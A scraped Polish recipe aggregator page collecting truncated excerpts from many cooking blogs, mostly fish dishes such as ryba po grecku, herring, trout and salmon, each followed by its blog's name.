Miałam ochotę zrobić rybę smażoną inaczej, więc wpadł mi do głowy pomysł, by wykorzystać ciasto naleśnikowe. Oto efekt! Ryba w cieście naleśnikowym jest bardziej soczysta niż smażona w panierce. Spróbuj! Ja podałam ją z ziemniaczkami, które ugotowałam z marchewką i razem z nią potłukłam. Mniam :) Składniki na 3 porcje: 3-4 łyżki startego żółtego sera (najlepiej na drobnych oczkach(...)świeże lub rozmrożone szklanka 200 ml ciasta naleśnikowego przyprawy: sól ziołowa, pieprz mielony i ziołowy, zioła prowansalskie kilka kropel soku z cytryny lub pieprz cytrynowy olej do smażenia Przygotowanie: Rybę umyj i osusz delikatnie ręcznikiem papierowym. Pęsetą postaraj się wyjąć ości. Przypraw z każdej strony solą i pieprzem w ilości wg uznania oraz skrop sokiem z cytryny. Odstaw na kilkanaście

Anioszek w kuchni
Śledzie z czerwoną cebulą w sosie jajecznym 257

trakcie moczenia mleko można zmienić, wtedy sól szybciej wyjdzie z ryby. Śledzie osuszyć i pokroić na kawałki, skrapiając sokiem z cytryny. Cebulę pokroić w piórka i wymieszać z rybą. Jajka ugotować na twardo i oddzielić żółtka od białek. Białka skroić i dodać do śledzi, a żółtka przełożyć do miseczki. Rozetrzeć z musztardą i odrobiną śmietany. W miarę rozcierania dodawać(...)zalać śledzie, wymieszać i odstawić w chłodne miejsce, aby smaki się przegryzły. Podawać z pieczywem. Smacznego :) Kategoria: A-Z WYTRAWNIE , Bez pieczenia , Boże Narodzienie , Dania bez glutenu , Dania z rybą , sałatki i surówki Tagged: cebula , jajka , śledzie , śmietana

https:KKuchniaMniam
Ryba po grecku z ananasem i curry 218

papryki konserwowej 2-5 łyżek magii 8 marchwi 6 ząbków czosnku 4 łyżeczki cukru 1 łyżeczka curry  2 łyżki octu łyżka mąki pszennej Sposób przygotowania: Składniki panierki zmiksować. Rybę pokroić na części, obtoczyć w panierce i smażyć na oleju na złoty kolor. Tartą marchew (na dużych oczkach) oraz czosnek przeciśnięty przez praskę obsmażyć na oleju.Przełożyć do bulionu(...)pogotować do miękkości. Dodać cukier, curry, ocet, magii. Wszystko chwilę poddusić.Zagęścić mąką pszenną. Paprykę i ananasy pokroić w kostkę. Dodać do sosu. Rybę podawać z sosem na gorąco lub na zimno

Cukiernia Pychotki
Kotlety rybne 144

Blueberry Corner by "jagodzianka" Ryby (pod różnymi postaciami) są ostatnio częstym gościem na moim stole. Najczęściej przygotowuję ryby morskie. Powód – przede wszystkim smak. … Przeczytaj cały artykuł Post Kotlety rybne pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Ryba w kokosie z imbirem 136

Składniki: kilka filetów świeżej białej ryby puszka mleczka kokosowego pęczek natki pietruszki ząbek czosnku sok z połowy małej(...)cytryny sól imbir do smaku Przygotowanie: Mleko wlać na patelnię, podgrzewając przyprawić solą, imbirem. Dodać przeciśnięty przez praskę czosnek i sok z cytryny. Redukować ok 3-4 min. Włożyć rybę, trzymać na ogniu ok 5-7 min. Wsypać posiekaną natkę i gotowe... Jeśli ryba będzie mrożona - najszybciej rozmrozi się kiedy wsadzimy ją do zimnej wody

Gaździnka warzy
Grillowany pstrąg z pietruszką i tymiankiem 213

oliwa z oliwek PRZYGOTOWANIE Ryby myjemy i osuszamy papierowym ręcznikiem. Oprószamy solą i pieprzem z zewnątrz i od środka. Połówkę cytryny kroimy w półplasterki, które wkładamy do wnętrza ryby wraz z kawałkami masła, tymiankiem i pietruszką. Skrapiamy oliwą z oliwek i wstawiamy do lodówki na godzinę. Grillujemy z każdej strony okołu 10- 12 minut, Podajemy z pozostałą cytryną

Moje Kuchenne Rewelacje
Miruna na parze na sałatce z kaszy pęczak 226

garnka do gotowania na parze wlewamy wodę. Wrzucamy do niej przekrojoną na ćwiartki cytrynę oraz obrany kawałek imbiru. Do nadstawki wkładamy rybę i posypujemy ją świeżo mielonym, kolorowym pieprzem. Gotujemy na parze do wyraźnego ścięcia się i miękkości ryby. Dopiero po tym ją solimy. Składniki na sałatkę: - 100 gramów kaszy pęczak - pęczek szczypiorku - 3 duże połówki suszonych pomidorów - garść

Życie zamknięte w smaku
Pstrąg w sosie pomidorowo-paprykowym z warzywami 233

Rybę przygotowałam inspirując się tradycyjną potrawą, którą najczęściej przygotowuje się na Wigilię. Mowa tutaj o znanej rybie po grecku, która pomimo niezrozumiałej dla mnie nazwy jest bardzo smaczna. Prosta w przygotowaniu i można podawać ją na ciepło, jak i na zimno. 6-8 filetów z pstrąga 1 kg marchewki 1 por 1/2 selera 2 korzenie pietruszki 200g koncentratu pomidorowego 200g(...)jeszcze podusić. Filety z pstrąga natrzeć solą, pieprzem cytrynowym i oliwą. Ułożyć na blasze wyłożonej folią aluminiową i wstawić do piekarnika nagrzanego do 180*C. Piec przez około 20min. Rybę przełożyć warzywami na dużym i głębokim półmisku. Pstrąga można też obtoczyć w mące i usmażyć na patelni, ale akurat miałam rozgrzany piekarnik :) Kategoria: A-Z WYTRAWNIE , Bułki i drożdżówki , Dania

https:KKuchniaMniam
Prosta tarta z pomidorami, kozim serem i anchois 130

czerwone, żółte i zielone oraz kozi ser w połączeniu z bardzo słonymi Anchois to smaczne połączenie. Trzeba tylko pamiętać, że nie każdemu w tym daniu może odpowiadać posmak ryby, który moim zdaniem nie jest aż tak bardzo wyczuwalny, nie mniej jednak mocno słony. Składniki: 1 opakowanie ciasta francuskiego 3 pomidory obrane ze skórki: czerwony, żółty i zielony(...)sera (roladka) 10-12 filecików Anchois pieprz Pomidory i ser kroimy w plastry. Na przygotowanym cieście francuskim układamy ser, następnie plastry pomidorów. Na końcu w równych odstępach układamy fileciki ryby. Całość posypujemy pieprzem. Tak przygotowaną tartę umieszczamy w piekarniku nagrzanym do 200 stopni na 20 minut. Brzegi ciasta powinny być ładnie zrumienione. Po upieczeniu kroimy na kwadraty, opcjonalnie posypujemy

Mango Papaja
Śledź w pomidorach 119

godziny w zimnej wodzie z dodatkiem 2 łyżek octu spirytusowego, aby pozbawić śledzie nadmiaru słonego smaku oraz rozmiękczyć ich ości. Następnie poodcinałem śledziom ogony oraz płetwy grzbietowe i wyfiletowałem ryby, obcinając mięso z obu stron wzdłuż kręgosłupa. Filety(...)śledzi pokroiłem w około dwucentymetrowe kawałki. Gotowy sos pomidorowy po jego ostygnięciu przełożyłem do miseczki i dodałem do niego kawałki śledzi. Całość delikatnie wymieszałem, uważając, aby nie uszkodzić kawałków ryb. Obficie doprawiłem czarnym świeżo zmielonym pieprzem i odstawiłem do lodówki na co najmniej dwie godziny, aby smaki uległy połączeniu. Gotowe danie wyłożyłem na pokrojone kromki białego pieczyw i posypałem

Wyprawy kulinarne
Smażone filety z gładzicy 285

wymaga długiego smażenia). Siekamy świeży koperek i posypujemy usmażoną rybę. Smażone filety z gładzicy, do tego frytki belgijskie i surówka z kapusty pekińskiej to wyśmienite danie obiadowe. Gładzica ma białe bardzo delikatne i soczyste mięso. Jest tak dobre, że nie potrzebuje dodatkowych przypraw. W przypadku tej ryby sprawdza się zasada minimalizmu – czasem mniej znaczy więcej. Filety są bez ości

mojewypiekiinietylko
Ryba po grecku 137

mnie Świąt Bożego Narodzenia bez ryby po grecku. Potrawa ta z Grecją ma niewiele wspólnego, ale nie ma to większego znaczenia. Jest to pozycja obowiązkowa na naszym świątecznym stole. Doskonale smakuje zarówno na ciepło, jak i na zimno. Sama dziwię się, że nie ma jej jeszcze na blogu, ale może to i lepiej, bo przepis który dziś prezentuję dopracowałam(...)pietruszki.Wszystko razem mieszamy i podsmażamy przez chwilę. Warzywa podlewamy szklanką wody, dodajemy koncentrat,miód i przyprawy. Dusimy aż warzywa zmiękną. Na półmisku układamy warstwę warzyw, na nich kawałki ryby i przykrywamy kolejną warstwą warzyw

Smakowity Blog Kulinarny
Świeży śledź w tempurze 140

Jeśli jesteście już znudzeni wigilijnymi, tradycyjnymi potrawami lub po prostu nie lubicie karpia i tym podobnych do niego ryb to mam dla Was coś extra! Całkiem niedawno stałam się posiadaczką sporej ilości świeżego śledzia, którego przenigdy nie jadłam w takiej postaci. Tak jak pewnie większość znam jedynie słonego lub mocno tłustego śledzia z zalewy. Postanowiłam pójść w stronę smażonego(...)chrupiący, pikantny i wręcz idealny! Oboje z narzeczonym zakochaliśmy się w tym daniu od razu i uznaliśmy, że jest to świetna przekąska na każdą imprezę i zachwyci nawet niejadka ryb. Myślę, że nada się również na wigilijny stół jako taka odmiana od standardowych świątecznych dań. Składniki (na 15-20 śledzi w tempurze): 7-10 świeżych śledzi bez głowy, oprawionych

Mango Papaja
Dietetyczna ryba po grecku (139 kcal) 340

Ryba po grecku w wersji odchudzonej, gdyż rybę pieczemy bez panierki w piekarniku, a nie smażymy. Równie pyszna co tradycyjna. Jeśli całość podzielimy na 6 porcji, to jedna będzie miała 139 kcal, natomiast w 100 g potrawy jest 60 kcal. Składniki: 0,5 kg filetów rybnych (dałam mirunę) sok z połówki cytryny por 3 marchewki pół średniego selera duża pietruszka(...)cebula 250 ml przecieru pomidorowego sól, pieprz 2 łyżki oliwy (lub oleju) Przygotowanie Rybę kroimy na paseczki grubości ok 5 cm, skrapiamy sokiem z cytryny, oprószamy solą i pieprzem. Zawijamy ją w folię aluminiową i pieczemy w piekarniku nagrzanym do 250 C przez 20 minut. Cebulę i por siekamy w drobną kostkę, podsmażamy na oleju. Dodajemy starte na tarce pozostałe

e-PrzepisyKulinarne
Rumcajs Historycznie - Tort Jakobinski 219

jego również zainspirował kto inny, czyli Dominikanie, we Francji zwani Jakobinami.  Oryginalny przepis zawierał również ogonki rakowe, a zamiast morszczuka mięso węgorza, który w średniowieczu był powszechnie jadaną rybą, dziś łatwą do zastąpienia ładnym białym mięsem na przykład właśnie morszczuka.  Składniki:  2 porcje kruchego ciasta (można użyć gotowego lub zrobić samemu) 400-500g filetów z morszczuka(...)100g tartego sera 1 średni por 1 łyżeczka tartego imbiru 1 goździk 4 całe jajka 1 żółtko 250ml mleka sól i pieprz do smaku Przygotowanie: Rybę i pokrojonego w półplasterki pora gotujemy w bulionie warzywnym z dodatkiem łyżki octu około 10 minut. Odcedzamy na sicie. Jedną częścią ciasta wykładamy formę do tarty, obsypujemy równo serem i układamy podzieloną na cząstki

Gotuj z Rumcajsem
Ryba w panierce z kolendrą 160

Ryba w panierce jaka została mi z pikantnych skrzydełek. Składniki: 3 filety dowolnej ryby 1 jajko 1/2 szklanki mąki kukurydzianej łyżeczka kolendry sól Sposób przygotowania: 1. Jeśli filety są zamrożone należy je rozmrozić i odcisnąć nadmiar wody. Podzielić filety na porcje. Jajko rozbełtać z solą. Zmieloną kolendrę wymieszać z mąką kukurydzianą. Rybę obtaczać najpierw w jajku a następnie

Na Ciasteczkowych Papierach
Ryba w papilotach z warzywami na parze 174

mnie filet z pstrąga tęczowego) - 2 średnie marchewki - 1 mała pietruszka - 1 mała cukinia - 4 plastry cytryny - 1/2 pęczka koperku - sól, pieprz - papier do pieczenia ( 4 kwadraty 30x30cm) Rybę podzielić na 4 porcje. Sprawdzić, czy filety nie posiadają ości. Moje miały je jeszcze. W ich usuwaniu pomocna będzie pęseta. Każdą porcję oprószyć solą i pieprzem. Marchewkę i pietruszkę pokroić(...)zapałkę. Cukinię w talarki. Na środku każdego arkusza papieru ułożyć cukinię, na niej marchewkę i pietruszkę. Na kopczyku z warzyw kładziemy filet, na nim koperek i cytrynę. Rybę zawijamy w papiloty.Każdy pakiecik dodatkowo spinam szpilką do szaszłyków aby wytworzona wewnątrz para nie wydostała się na zewnątrz. Nie mając szpilek każdy papilot można szczelnie zawinąć - efekt będzie podobny. Ja swoje

kawawszklance
Łosoś z porem i serem żółtym w cieście francuskim 178

łyżka masła sól, pieprz i ulubiona przyprawa do ryb (u mnie Fish Masala ) 1. Łososia przekroić na 4 kawałki, każdy oprószyć solą i pieprzem lub ulubioną przyprawą do ryb. 2. Pora pokroić w cienkie plasterki, zeszklić na maśle i lekko osolić do smaku. 3. Ciasto francuskie przekroić na 4 części, na środku każdej ułożyć po kawałku łososia

Kto ugości moich gości?
Ryba w panierce 217

bułce tartej wymieszanej z mąką krupczatką....pycha ..polecam. filety z ryby sok z cytryny sól,pieprz 2 łyżki mąki krupczatki 2 łyżki bułki tartej 2 jajka sól, wegeta Rybę pokroić na kawałki,skropić sokiem z cytryny, posypać przyprawami.Następnie panierować w jajku [ roztrzepanym z przyprawami]i bułce tartej  wymieszanej z mąką krupczatką ] .Smażyć na rumiano z obu stron

Moje domowe kucharzenie
Sałatka z grillowanych warzyw, z wędzoną makrelą i sosem z pomidora 193

Grillowane warzywa uwielbiam pasjami. To one były głównym powodem do zakupu patelni grillowej. A połączenie z dzisiejszego przepisu jest genialne. Lekko słona i tłusta wędzona ryba świetnie pasuje do jeszcze chrupiących, zielonych warzyw, a zgrillowany pomidor spełnia się w roli sosu. Bakłażana, cukinię, szpinak i szparagi myjemy i osuszamy. Bakłażana i cukinię kroimy wzdłuż na pół, następnie wzdłuż na ćwiartki(...)pomidor zmięknie, zdejmujemy go na deskę, usuwamy skórkę. Wkładamy go do kubka i blendujemy z kilkoma listkami bazylii, solą, pieprzem i łyżką sosu Worchestershire. Sos do sałatki gotowy.   Rybę oczyszczamy ze skórki i jak najdokładniej – z ości. Dzielimy na mniejsze fragmenty. Na dużym talerzu rozkładamy liście szpinaku. Zgrilowane warzywa kroimy na mniejsze kawałki, rozkładamy na szpinaku. Na środek wykładamy

Karo in the Kitchen
Ryba po grecku 129

marchewek 3 pietruszki 1 mały seler 4 cebule 1/2 szklanki oleju mały koncentrat pomidorowy w puszce sól, pieprz szczypta cukru liście laurowe ziele angielskie bulion warzywny Sposób przygotowania: 1. Rybę (rozmrożoną) obtoczyć w jajku, bułce i usmażyć na rumiano. Ułożyć na półmiskach. Warzywa zetrzeć na grubej tarce, cebulę pokroić w kostkę. Warzywa przełożyć do rondla, podlać woda i ugotować(...)półmiękko. Wlać olej i jeszcze dusić. Dodać wszystkie przyprawy, koncentrat, bulion i zagotować. Doprawić solą i pieprzem. Gorące warzywa wyłożyć na rybę. Smacznego

Na Ciasteczkowych Papierach
MIRUNA W PŁATKACH KUKURYDZIANYCH 162

parawanami na plaży a ze smażoną rybą. Uwielbiam! W tym roku udało mi się wyrwać na jeden dzień do Gdańska i zakosztować pysznej rybki prosto z morza. Co prawda dzisiaj przygotowałam nowozelandzką mirunę ale i tak przypomina mi morze :-) Kupiłam mega duży filet za bardzo małe pieniądze. Miruna, jest chyba jedną z lepszych ryb, ma bardzo delikatne białe, kruche(...)płatkach kukurydzianych.  Składniki: filet miruny  jajko  3/4 szklanki płatków kukurydzianych  oliwa do smażenia  sól,pieprz cytynowy Sposób przyrządzenia:   Płatki zblenderować, jajko rozbić. Rybę opłukać, wysuszyć i z każdej strony oprószyć solą i pieprzem cytrynowym. Rozgrzać oliwę. Każdy kawałek fileta zanurzyć w jajku, obtoczyć w płatkach i smażyć z każdej strony na złoty

pieprzny smaczek
Halibut tymiankowy 119

coraz więcej ryb. Właściwie trudno powiedzieć skąd ta zmiana. Chyba przestałam się przejmować niechęcią do nich M. Kiedy wiem, że nie będzie Go na obiedzie, decyduję się na rybę - to chyba mądry układ. HALIBUT TYMIANKOWY Składniki: - dowolna ilość halibuta (u mnie bez skóry) - pęczek tymianku - mąka - masło klarowane - sól Przygotowanie: Na patelni rozgrzewamy masło klarowane (około łyżki) i wrzucamy(...)tymianek. Halibuta lekko solimy i obtaczamy w mące. Układamy rybę na tymianku. Smażymy z obu stron na złoty kolor. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Łosoś na parze z kolendrą 164

kolendra mielona - sól Przygotowanie: Rybę płuczemy, osuszamy i doprawiamy (kolendrą obficie). Dobrze jest zamarynować w przyprawie (bez soli) rybę wcześniej. Układamy w naczyniu do gotowania na parze (specjalistycznym czy garnkach) i przykrywamy. Gotujemy około 10 minut w zależności od grubości ryby. Voila! Smacznego i do napisania wkrótce

Życie zamknięte w smaku
Grillowany łosoś z mango, gruszką i kozim serem oraz cytrynowo-tymiankowy ryż podane z piwem typu Weissbier 144

razem połączenie, które chciałabym Wam przedstawić nie jest zbyt oczywiste, jednak pasuje do siebie jak ulał! Piwa typu Weissbier świetnie komponują się z tłustymi rybami oraz z serami. Postanowiłam to połączenie wykorzystać i urozmaicić je o dodatek grillowanych owoców przez wzgląd na kwaśny smak piwa z cierpkim posmakiem, które świetnie podkręca smak tych owoców. Całość podałam z czarnym ryżem(...)który jest wspólnym mianownikiem dla typu piwa oraz dla tłustej ryby, gdyż jego smak wzbogaciłam o tymianek i skórkę z cytryny. Danie i rodzaj piwa dopełniają się idealnie. I choć połączenie nie jest zbyt oczywiste całość pozytywnie zaskakuje smakiem!   Składniki: 350-400 gram filetu z łososia* pół mango 1 mała gruszka 50 gram koziego sera, u mnie

Mango Papaja
Łosoś z patelni aromatyczny z rozmarynem 183

Przez długi czas nie jadłam mięsa czerwonego ani nawet drobiowego, ale z ryb nie zrezygnowałam nigdy. Bardzo lubię ryby a łososia szczególnie, bo nie ma ości :) Bardzo szybko można go przygotować. Można łososia piec w piekarniku lub smażyć na patelni bez obracania. Efekt podobny - bardzo smaczny :) A jaką przyprawę łosoś lubi najbardziej? Rozmaryn :) Łosoś z patelni aromatyczny

Pyza i Surówka
Okoń w płatach migdałowych z frytkami 119

sól - pieprz biały - cytryna do smażenia: - olej rzepakowy dodatki: - frytki - surówka z marchewki i jabłka (marchew, jabłko, sól, olej dyniowy) Przygotowanie: Rybę należy wypatroszyć i pozbawić głów oraz łusek. Ewentualnie można użyć gotowych tuszy. Do wnętrza każdej ryby wkładam po dwa plastry cytryny ze skórką, solę i pieprzę. Przygotowuję jajko - roztrzepuję je wraz z solą i pieprzem. Panierka: kruszę(...)płatki migdałowe i mieszam je z bułką tartą oraz mąką kukurydzianą.   Rybę namaczam w jajku i obtaczać w panierce.  Smażę na gorącym oleju. Przygotowuję frytki oraz surówkę z marchewki i jabłka. Podaję wszystko razem jeszcze na ciepło

Kuchnia co dnia
Losos z sosem pomidorowo-jogurtowym 117

Szybki, pyszny obiad, zdrowa ryba z dietetycznym sosem. Zapraszam na łososia z sosem z pomidorów, papryki i jogurtu, idealnie nadającego się do tej ryby w każdej sytuacji. Przepis na sos od Dietetycznie siostro . Czytaj więcej

Bernika - moj kulinarny pamietnik
Ryba po grecku 113

dokładnie wymieszać. Rybę kroimy na mniejsze kawałki przyprawiamy solą, pieprzem i skrapiamy sokiem z cytryny. Jajka roztrzepujemy widelcem. Rybę obtaczamy w mące, jajku a następnie w bułce tartej i smażymy na oleju. W naczyniu układamy warzywa na to warstwę ryby, czynność powtarzamy pamiętając by ostatnią warstwą były warzywa

magiczna kuchnia Kasi
Gdzie zabrać rodzinkę na obiad? Łowisko Piorunów. Warto zjechać z trasy 218

wybrałam sandacza z pieca z warzywami z pieca... Powierzchnia obiektu - choć nie jakaś ogromna, została ładnie, a przede wszystkim funkcjonalnie zagospodarowana. Każdy facet może się tam wybrać na ryby ... z rodziną (tak, tak). Spokojnie - nie ma obawy, najbliżsi (czytaj: hałaśliwa zgraja wprowadzająca zamęt i dezorganizację)  nie będą Ci przeszkadzać i gwarantuję, że każdy miło spędzi czas. Oprócz restauracji(...)Mateusza. Podobno złowisz tam także liny, leszcze, sandacze, sumy i szczupaki. Jeśli jednak chodzi o wszelkie szczegóły dotyczące infrastruktury wędkarskiej, odsyłam do stronki Łowiska , żeby nie pleść bzdur ;) Świeże ryby - smażone bądź z pieca stanowią trzon menu restauracji, obok dań z grilla i kuchni wojskowej. Karta dań nieprzesadzona. Porcje naprawdę duże, a pizza z pieca - PRZE_PYSZ_NA. Już

Kuchnia po mojemu
Ryba z pomidorowym pesto 172

rzadko. Dzisiejsza propozycja to pstrąg łososiowy z pomidorowym pesto. Pesto przygotowywałam już jakiś czas temu: TUTAJ . Dodaję ją do makaronów lub na kanapki. Sprawdziła się także w połączeniu z rybą. :-) 1 duży filet z pstrąga łososiowego 1/2 cytryny 10 suszonych pomidorów z oleju 10 orzechów, u mnie nerkowca 5 listków świeżej bazylii 1 duży ząbek czosnku lub 2 małe szczypta(...)pieprz przekładamy do blendera. Miksujemy do uzyskania preferowanej konsystencji. Ja lubię kiedy masa nie jest idealnie gładka, kawałki pomidorów powinny mieć wielkość ziarenek cukru.  3. Powstałym pesto nacieramy rybę.  4. Pieczemy w temperaturze 200 stopni przez około 25 minut

Szefowa kuchni
Łosoś w solance z puree ziemniaczanym i warzywami 166

Odkąd spróbowałam łososia z solanki przygotowanego na warsztatach kulinarnych przez Andrzeja Polana uważam że ta ryba nie ma sobie równych. Sposób jest genialny, mega szybki by ryba nabrała smaku i nie leżała godzinami w zalewach, czy przyprawach, no i robi się praktycznie sama, a do tego jest bardzo soczysta. Polecam koniecznie. Ja podałam rybę z puree ziemniaczanymi, smażonymi szparagami

Bernika - moj kulinarny pamietnik
Ryba w cytrynowej panierce z pieczarkami i serem 170

rybne umyć, osolić i oprószyć pieprzem cytrynowym. 2. Do głębokiego talerza wsypać mąkę, w drugim rozkłócić jajko, a w trzecim wymieszać bułkę tartą ze skórką z cytryny. Każdy kawałek ryby obtaczać(...)kolejno w  mące, następnie w jajku i na koniec w bułce tartej ze skórką cytrynową. 3. Pieczarki pokroić w plasterki i obsmażyć/udusić. Posolić do smaku. 4. Ryby usmażyć na rumiano z obu stron (po ok 7 minut), następnie ułożyć na każdym kawałku plasterki pieczarek i ser żółty, nakryć patelnię na chwilę przykrywką żeby ser się roztopił

Kto ugości moich gości?
Pasta rybna (z makreli) 143

makreli (lub innej wędzonej ryby) Sposób przygotowania: Makrelę dokładnie obieramy ze skóry i ości, rozduszamy widelcem  jajko również rozgniatamy widelcem i wraz z pozostałymi składnikami dodajemy do ryby  wszystko mieszamy i przyprawiamy wg. smaku SMACZNEGO

Zdrowo i dietetycznie. Moja rzeczywistość
Pstrąg łososiowy w maśle estragonowym z grillowanymi warzywami 211

łyżek masła 4 łyżki posiekanych listków estragonu łyżeczka soku z cytryny pęczek zielonych szparagów 1 średnia cukinia 1 papryka czerwona 1 papryka żółta sól pieprz PRZYGOTOWANIE Z ryby usuwamy skórę i ewentualnie ości. Kroimy na cztery kawałki. Doprawiamy solą i pieprzem. Masło(...)roztapiamy, dodajemy estragon, szczyptę soli i sok z cytryny. Szparagi obieramy do 1/3 wysokości. Papryki kroimy w paski. Cukinię za pomocą obieraczki do warzyw kroimy w paski (solimy). Grillujemy rybę (polewając z każdej strony masłem estragonowym) i warzywa, przewracając kilkukrotnie  przez kilkanaście minut. Smacznego

Moje Kuchenne Rewelacje
Ryba zapiekana w warzywach 131

danie jest doskonałą alternatywą dla ryby po grecku. Mąż twierdzi, że lepsze :) a powstało po trzydniowej nieobecności w domu, w celu spożytkowania warzyw zalegających(...)lodówce :) totalna improwizacja, a już zamówiona na Boże Narodzenie :) Świetnie sprawdzi się na stole świątecznym czy sylwestrowym, a także na domowych przyjęciach czy piątkowym obiedzie. No i przede wszystkim ryby są bardzo zdrowe i powinniśmy je jeść przynajmniej raz w tygodniu, a najlepiej dwa razy. Składniki: 1/2 kg filetów rybnych (np. dorsz, morszczuk) 3 papryki czerwone 2 papryki żółte

Kolorowy Przepisownik
Ryba słodko – kwaśna z czarnym ryżem 182

Wpis pochodzi z www.mgotuje.pl Ryba w pysznym sosie słodko – kwaśnym. Zrobiłam ją ostatnio na obiad, bardzo nam posmakowała. Podałam ją z dodatkiem czarnego ryżu, który ma lekko orzechowy smak. Można podać ją na ciepło, ale równie dobrze smakuje na zimno. Przepis na rybę pochodzi od Ewy Wachowicz. Jedne co zmieniłam(...)ilość cukru i oleju w przepisie, którą zmniejszyłam, resztę pozostawiłam bez zmian. Post Ryba słodko – kwaśna z czarnym ryżem pojawił się poraz pierwszy w Marta Gotuje

Marta Gotuje
Surówka z kiszonej kapusty 235

Surówka z kiszonej kapusty sprawdzi się jako dodatek do ryby, pieczonych mięs lub do tradycyjnego schabowego. Od kiedy pamiętam surówkę z kiszonej kapusty mama robiła zawsze do ryby, choć nie tylko. Warto często stawiać ją na stole, bo jest doskonała, pasuje do wielu potraw, a przede wszystkim jest bardzo zdrowa - kiszonki mają te dobre bakterie, dzięki którym nasz

Kraina Tysiąca Smaków
Ryba w sosie śmietanowo-koperkowo-sezamowym ze szpinakiem w zalewie serowo-czosnkowej 147

plasterków sera - 3 łyżki gęstej 12 voltowej śmietany (można kupić dużą śmietanę, przyda się również do rybki) - 50 ml wody - 1 woreczek ryżu - Vegeta/ do smaku - pieprz, sól Ryba w sosie śmietanowo koperkowym: - 4 kostki mrożonego mintaja/ polecam produkt z Biedronki, 6 kostek za ok. 9,98pln i tylko 5% glazury - sos winiary "pomysł na rybę w sosie śmietanowo-koperkowym(...)Wymieszanym sosem zalewamy rybkę w naczyniu żaroodpornym. Pieczemy 25-30minut w piekarniku 180stopni z termoobiegiem lub 200stopni bez termo. Na 5 minut przed końcem pieczenia, wysuwamy naczynie z rybą i delikatnie posypujemy rybkę bułką tartą i sezamem. Pieczemy kolejne 5 minut. W czasie gdy robi nam się ryba, przyrządzamy szpinak. Szpinak w brykiecie czy w liściach nawet zamrożony wrzucamy

upichcona
Cytrynowa zupa rybna 228

przychodzi dzień, że chodzą za człowiekiem jednocześnie ryba i cytryna, to trzeba zakasać rękawy i zrobić coś bardzo prostego, a jednocześnie pysznego: cytrynową zupę rybną. Zupa jest dobra zarówno na ciepło jak i na zimno. Aromatyczna, pachnąca, sycąca. Składniki: 1,5 litra wywaru warzywnego lub rybnego 1 kg ryby sok z 2 cytryn skórka z dwóch cytryn / część skórki(...)śmietany kremówki 30 lub 36% sól, pieprz tymianek lub pietruszka Opcjonalnie: ryż Do garnka wlać wywar, dodajemy tymianek lub pietruszkę i chwilę gotujemy. Dodajemy pokrojoną na mniejsze kawałki rybę i gotujemy 5-10 minut, po czym wlewamy mleko kokosowe lub śmietanę kremówkę*, sok z cytryny i skórkę z cytryny. Doprawiamy solą i pieprzem, gotujmy ok. 5 minut i podajemy. Jeśli

Ewa Kuchennie - Kuchnia to serce domu!
Sos chrzanowo - cytrynowy na zimno. Do ryb i mięs być może. 205

Grillowe menu najwyższa pora odświeżać i poszerzać. Weekend majowy przed nami. Wielu z nas wyruszy na różnego rodzaju wyprawy. Spacery, rowery, grille, ryby i inne biwaki - mimo, że jak zwykle zapowiedzi pogodowe są lekko niepokojące. Wg mnie w tym roku majówka nie wypada zbyt atrakcyjnie. Ani długa, ani ciepła się nie zapowiada.... A może takie mam nastawienie tym razem(...)kogo obchodzą moje smutki niepokonane.... Ponieważ czasu i chęci na długie pisanie mało, to wstawiam szybko - krótki przepis na orzeźwiający sos. Powinien nadać się do mięs i ryb, które zamierzacie grillować i pochłaniać w najbliższych dniach ;) Składniki (na małą miseczkę): 1 łyżka chrzanu tartego (samodzielnie bądź ostrego ze słoika) 1 łyżka majonezu 1- 2 łyżki śmietany (którą można zastąpić

Kuchnia po mojemu
Molee – INDYJSKIE CURRY RYBNE W OSTRYM SOSIE KOKOSOWYM ( z ryżem ) 122

Keralą. Jest to inaczej indyjskie curry – gulasz, którego oryginalny smak łączy w sobie łagodność mleczka kokosowego a wyrazistość nasion gorczycy. Najlepsza do tego jest biała, „mięsista” ryba – w moim przypadku dorsz. Podana z ryżem jaśminowym albo też chlebkami Naan ( przepis tutaj ) tworzy fantastyczne danie, które jest idealnym pomysłem na obiad. SKŁADNIKI: ( 2 porcje ) * filet z dorsza(...)wolnym ogniu mieszamy aż sos zgęstnieje. Dodajemy pokrojone w grubą kostkę kawałki dorsza, przykrywamy i na wolnym ogniu gotujemy ok.20 minut. Nie mieszamy zbyt często, by nie rozkruszyć ryby. W razie potrzeby doprawiamy do smaku. Podajemy gorące z ugotowanym na sypko ryżem i posiekanym szczypiorkiem. Smacznego

Ostra na Słodko
El Dorado po mojemu, czyli grillowana Dorada w cytrynie 132

Bożemu Ciału długi weekend był właśnie takim moim El Dorado i chyba nie tylko moim, skoro Mąż zrobił mi pyszny obiad. Zakupiliśmy w Lidlu Doradę "po taniości". To morska ryba o bielutkim, smacznym, rozpływającym się w ustach mięsie. Gdyby nie duża ilość ości byłaby idealna ;) Dorady po kąpieli ;) Pozostało tylko znaleźć odpowiednią recepturę. "Odpalilismy" internet i jest. Pierwszy przeczytany przepis(...)imbiru (kawałek wielkości kciuka) 1 mała cebula (w przepisie oryginalnym szalotka) sól, pieprz, cukier Przygotowanie: Doradę porządnie myjemy. My odcięliśmy również głowy, żeby nie musieć patrzeć jedzeniu w oczy. Rybę nasoliłam i posypałam pieprzem 4-5 godzin przed podaniem. Reszta, czyli produkcja sosu, smażenie i apetyczne podanie jest dziełem Męża. Przygotowanie sosu: obrany imbir zetrzeć na drobnej tarce, otrzeć skórkę

Kuchnia po mojemu
Grillowany pstrąg łososiowy z odzysku podany na miksie sałat z opiekanymi ziemniaczkami 162

pstrąga łososiowego  4-5 sporych ziemniaków (gatunek na frytki) kolorowa sałatka  przyprawa do grilla ziołowa pieprz cytrynowy sól, pieprz 1/2 łyżki oliwy z oliwek Przygotowanie: Osuszoną rybę nacieramy solą, pieprzem cytrynowym i odrobiną ziołowej mieszanki grillowej. Skrapiamy oliwą i odstawiamy w chłodne miejsce na kilka godzin. Grillujemy na rozgrzanej patelni grillowej. Kilka minut z każdej strony wystarczy. Przekładamy(...)Podajemy z pieczonymi ziemniakami i ulubioną surówką. U nas była to surówka oparta na miksie sałat, o której wspomnę coś więcej niebawem. Jako, że sezon grillowy najwyższa pora rozpocząć rybę tę do grillowania tradycyjnego gorąco polecam. Pyszności i do tego zdrowe

Kuchnia po mojemu
Pstrąg pieczony z warzywami 176

